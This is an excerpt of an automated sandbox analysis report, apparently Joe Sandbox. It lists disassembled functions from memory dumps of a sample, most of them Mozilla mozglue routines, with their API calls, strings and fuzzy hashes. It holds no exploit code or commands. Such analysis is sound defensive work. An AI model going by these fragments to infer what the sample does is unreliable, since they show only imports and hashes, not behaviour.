Opcode ID: c674d90e5eecbca24fc89bd2a88d218916f32ff5fad41818c8ea00be06c60612
Instruction ID: eff374fbcd62c6e18ab1f1aaab25817c9043c0eeef42efb3c17498ac9b2729e3
Opcode Fuzzy Hash: c674d90e5eecbca24fc89bd2a88d218916f32ff5fad41818c8ea00be06c60612
Instruction Fuzzy Hash: 93A18FB1A00218ABCB34DFA4DC85FEE7379BF48305F448589E50D96181EB789B89CF65

Function 6C210000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32 ref: 6C210039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C210041
GetCurrentThreadId.KERNEL32 ref: 6C210075
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C210082
moz_xmalloc.MOZGLUE(00000048), ref: 6C210090
free.MOZGLUE(?), ref: 6C210104
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C21011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C21005B

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 0e729d26f06fdd0e6afb77c235e3a86ea776ffb338434070c36325a03bc2f707
Instruction ID: 9d6c4f5ae045f58a20b79b03a80fd47fdf0fee8fd78123da13ea53ca7733c26b
Opcode Fuzzy Hash: 0e729d26f06fdd0e6afb77c235e3a86ea776ffb338434070c36325a03bc2f707
Instruction Fuzzy Hash: 564181B56046499FCB10DF68C844A9BBBF1FF89318F40851EEE5A97B80DB31A815CB91

Function 6C1D7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1D7EA7
malloc.MOZGLUE(00000001), ref: 6C1D7EB3

Part of subcall function 6C1DCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C1DCB49
Part of subcall function 6C1DCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C1DCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C1D7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C1D7F19
malloc.MOZGLUE(?), ref: 6C1D7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C1D7F4D

Strings

d, xrefs: 6C1D7F89

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: f811e50f06be7497e4a6912f214f94b0f85b6492c2bcf06a0da7ecb05f864467
Instruction ID: 6e0e07b88aa1897b3b0a1147c65d422c3431059b5a8adb704996e504d9788b5a
Opcode Fuzzy Hash: f811e50f06be7497e4a6912f214f94b0f85b6492c2bcf06a0da7ecb05f864467
Instruction Fuzzy Hash: AF312A61E0035897EB00DB28CC049FEB778EF95208F059669DC5957652FB70B5C8C391

Function 6C22AAB0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C24E220,?), ref: 6C22BC2D
ReleaseSRWLockExclusive.KERNEL32(6C24E220), ref: 6C22BC42
RtlFreeHeap.NTDLL(?,00000000,6C23E300), ref: 6C22BC82
RtlFreeUnicodeString.NTDLL(6C24E210), ref: 6C22BC91
RtlFreeUnicodeString.NTDLL(6C24E208), ref: 6C22BCA3
RtlFreeHeap.NTDLL(?,00000000,6C24E21C), ref: 6C22BCD2
free.MOZGLUE(?), ref: 6C22BCD8

Strings

,$l, xrefs: 6C22AABA

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID: ,$l
API String ID: 3047341122-1448332218
Opcode ID: a1d44d997deb9b504d780a27580aa4debe3fe2e492779180b8a68429143e5248
Instruction ID: bd4a292267a86093158f1904ea260b27ac6393f988e126f7fdc233148197be38
Opcode Fuzzy Hash: a1d44d997deb9b504d780a27580aa4debe3fe2e492779180b8a68429143e5248
Instruction Fuzzy Hash: 4E21BFB6600719CFE7209F0AC880B66F7A9BF45718F148469EC5A5BA50CB79F845CBE0

Function 6C1D3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C1D3CCC), ref: 6C1D3EEE
RtlFreeHeap.NTDLL(?,00000000,?,?,00000000,?,?,?,?,?,?,6C1D3CCC), ref: 6C1D3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C1D3CCC), ref: 6C1D4006
RtlFreeHeap.NTDLL(?,00000000,?,?,00000000,?,?,?,?,?,?,6C1D3CCC), ref: 6C1D40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C1D3CCC), ref: 6C1D40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C1D3CCC), ref: 6C1D40C2
RtlFreeHeap.NTDLL(?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C1D3CCC), ref: 6C1D4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C1D3CCC), ref: 6C1D4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C1D3CCC), ref: 6C1D4157

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 6d986dd9fa87833568b522857258c5a611ead765c68492f8353fc52b1f577ae3
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: AAA180B1A00215CFDB40CF28C88079AB7B5FF58308F6645A9D909AF742D771E886CFA1

Function 6C1C2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C1E3F47,?,?,?,6C1E3F47,6C1E1A70,?), ref: 6C1C207F
memset.VCRUNTIME140(?,000000E5,6C1E3F47,?,6C1E3F47,6C1E1A70,?), ref: 6C1C20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C1E3F47,6C1E1A70,?), ref: 6C1C211A
EnterCriticalSection.KERNEL32(6C24E744,?,6C1E3F47,6C1E1A70,?), ref: 6C1C2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C1E3F47,6C1E1A70,?), ref: 6C1C21BA
EnterCriticalSection.KERNEL32(6C24E744,?,6C1E3F47,6C1E1A70,?), ref: 6C1C21E0
LeaveCriticalSection.KERNEL32(6C24E744,?,6C1E3F47,6C1E1A70,?), ref: 6C1C2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C1C2253, 6C1C2268
MOZ_CRASH(), xrefs: 6C1C227D

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 091faafc88bcca8ff6dfeb0dd3c442f6692ef9595247ece54d66a62ab940764b
Instruction ID: b95f0ed35a968f93d10f12d251ee1c53e0b37b9823a96a4fd3ab20fa242039d6
Opcode Fuzzy Hash: 091faafc88bcca8ff6dfeb0dd3c442f6692ef9595247ece54d66a62ab940764b
Instruction Fuzzy Hash: C661D831F002158FDB04DF68C889B6E77B1AFA5328F259235F925A7AD4D7789C00C792

Function 6C219D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C218273), ref: 6C219D65
free.MOZGLUE(6C218273,?), ref: 6C219D7C
free.MOZGLUE(?,?), ref: 6C219D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C219E0F
free.MOZGLUE(6C21946B,?,?), ref: 6C219E24
free.MOZGLUE(?,?,?), ref: 6C219E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C219EC8
free.MOZGLUE(6C21946B,?,?,?), ref: 6C219EDF
free.MOZGLUE(?,?,?,?), ref: 6C219EF5

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: e760e03254216bbf5042218e378f018638207c88a076982d1121d517f22412f5
Instruction ID: 2912a167c6fcfb29d762775f4ededb4e88d6f020b3f206c563c163e0b05a3b54
Opcode Fuzzy Hash: e760e03254216bbf5042218e378f018638207c88a076982d1121d517f22412f5
Instruction Fuzzy Hash: 0A71BDB4909B458BD712DF18C48066BF3F4FF99315B44865DED9A9BB02EB30E885CB81

Function 6C21DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C21DDCF

Part of subcall function 6C1FFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C1FFA4B

Part of subcall function 6C2190E0: free.MOZGLUE(?,00000000,?,?,6C21DEDB), ref: 6C2190FF
Part of subcall function 6C2190E0: free.MOZGLUE(?,00000000,?,?,6C21DEDB), ref: 6C219108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C21DE0D
free.MOZGLUE(00000000), ref: 6C21DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C21DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C21DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C21DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C20DEFD,?,6C1D4A68), ref: 6C21DF32

Part of subcall function 6C21DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C21DB86
Part of subcall function 6C21DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C21DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C20DEFD,?,6C1D4A68), ref: 6C21DF65
free.MOZGLUE(?), ref: 6C21DF80

Part of subcall function 6C1E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C1E5EDB
Part of subcall function 6C1E5E90: memset.VCRUNTIME140(ew"l,000000E5,?), ref: 6C1E5F27
Part of subcall function 6C1E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C1E5FB2

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 8f3fe26abec1b1708d175cf55f195691e26e1a7fc99282db085bdcc9f73b8717
Instruction ID: 2efb7a043e3e7320ee9581f7856215bd495a9c03a469a756c060ba804b297336
Opcode Fuzzy Hash: 8f3fe26abec1b1708d175cf55f195691e26e1a7fc99282db085bdcc9f73b8717
Instruction Fuzzy Hash: 4F51CB76609609DBD7229B18C8807AEB3F6BF9570AF55011CDE1A53F00DB31F919CB81

Function 00414DA0 Relevance: 13.6, APIs: 4, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000), ref: 00414E0F
lstrlenA.KERNEL32(00000000), ref: 00414E63
strtok.MSVCRT(00000000,?), ref: 00414E7E
lstrlenA.KERNEL32(00000000), ref: 00414E8E

Strings

ERROR, xrefs: 00414F12
ERROR, xrefs: 00414DEA
ERROR, xrefs: 00414E99
ERROR, xrefs: 00414F4F
ERROR, xrefs: 00414F89

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: lstrlen$strtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4181522272-1526165396
Opcode ID: 6f27f437378bc145d3ed04d38d9b9af9498579b274811e5ca98ccabc30b43e35
Instruction ID: 8f24e6183c5aafacdfff780c7fa5c74c912095ee1ff337cf81358bf1c292c6a0
Opcode Fuzzy Hash: 6f27f437378bc145d3ed04d38d9b9af9498579b274811e5ca98ccabc30b43e35
Instruction Fuzzy Hash: D5516130911108ABCB14FF61CC9AEED7738AF50358F50401EF80B665A2DF786B95CB6A

Function 6C21CB30 Relevance: 13.6, APIs: 9, Instructions: 129COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z.MSVCP140(00000000,00000002,00000040,?,?,6C21BCAE,?,?,6C20DC2C), ref: 6C21CB52
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,?,6C21BCAE,?,?,6C20DC2C), ref: 6C21CB82
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,?,6C21BCAE,?,?,6C20DC2C), ref: 6C21CB8D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,6C21BCAE,?,?,6C20DC2C), ref: 6C21CBA4
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,?,6C21BCAE,?,?,6C20DC2C), ref: 6C21CBC4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,?,6C21BCAE,?,?,6C20DC2C), ref: 6C21CBE9
std::_Facet_Register.LIBCPMT ref: 6C21CBFB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,?,6C21BCAE,?,?,6C20DC2C), ref: 6C21CC20
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,6C21BCAE,?,?,6C20DC2C), ref: 6C21CC65

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: e2f3a07a7bd368f521185902e7128ea6f7c5d561649fb3e4773cd5bbf4e0324c
Instruction ID: eaa148f17e1531b57e695fa3e0567a5cce493d71b225179980c68513930ceb2b
Opcode Fuzzy Hash: e2f3a07a7bd368f521185902e7128ea6f7c5d561649fb3e4773cd5bbf4e0324c
Instruction Fuzzy Hash: AD4181787043098FCB00EF69C898AAE77F5AF89719F048068EE0997B91DB35DD05CB91

Function 6C225D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C225C8C,?,6C1FE829), ref: 6C225D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C225C8C,?,6C1FE829), ref: 6C225D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C225C8C,?,6C1FE829), ref: 6C225D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C225C8C,?,6C1FE829), ref: 6C225D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C225C8C,?,6C1FE829), ref: 6C225DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C225C8C,?,6C1FE829), ref: 6C225DC9
std::_Facet_Register.LIBCPMT ref: 6C225DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C225C8C,?,6C1FE829), ref: 6C225E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C225C8C,?,6C1FE829), ref: 6C225E45

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 4a9967054721d3f207f937f46e8a08ff77a2bf59162c15c43e4413a36f4fa31b
Instruction ID: 6fa45a0279b5156cfa0d1699817938ccdf7f6468fe393c8794e397960cb3bc88
Opcode Fuzzy Hash: 4a9967054721d3f207f937f46e8a08ff77a2bf59162c15c43e4413a36f4fa31b
Instruction Fuzzy Hash: 364181747002099FCB00EF69C89CAAE77B5EF89719F448068ED0A9B781EB34D805CF51

Function 6C1FCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C1C31A7), ref: 6C1FCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C1FCFA4, 6C1FCFB8
<jemalloc>, xrefs: 6C1FCF9F, 6C1FCFB3

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 237d90c8f2f13b3544a48def8b475883548b888fda02ee6602ffd939b7d57764
Instruction ID: bd272a892cc0a7432f053d8cba9f942b922eacee9733b36fcc462306a44afdef
Opcode Fuzzy Hash: 237d90c8f2f13b3544a48def8b475883548b888fda02ee6602ffd939b7d57764
Instruction Fuzzy Hash: C231C730B402095BFB24EE65CC65BAEBBF5BB41718F218015FA25ABAC0DB70D402DB91

Function 6C1CBAE0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C1CBC03
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C1CBD06

Strings

y, xrefs: 6C1CBC4E
0, xrefs: 6C1CBBCD
0, xrefs: 6C1CBC74

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$0$y
API String ID: 2811501404-3020536412
Opcode ID: f27083680ba29a45cf3f6d3cf525e8f63971592da658bbdb6b0623a47a90164d
Instruction ID: 09a41ca8f261545eed1d63cda8c5fee793509672c006a2c693e8a6340200ffaf
Opcode Fuzzy Hash: f27083680ba29a45cf3f6d3cf525e8f63971592da658bbdb6b0623a47a90164d
Instruction Fuzzy Hash: DE61C271B087458FC710CF28C480A5BB7E5AFAA358F01462EF889E7651DB38D949CB93

Function 6C1CECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1CF100: LoadLibraryW.KERNEL32(shell32,?,6C23D020), ref: 6C1CF122
Part of subcall function 6C1CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C1CF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C1CED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1CEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C1CEDCC
CreateFileW.KERNEL32 ref: 6C1CEE08
free.MOZGLUE(00000000), ref: 6C1CEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C1CEE32

Part of subcall function 6C1CEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C1CEBB5
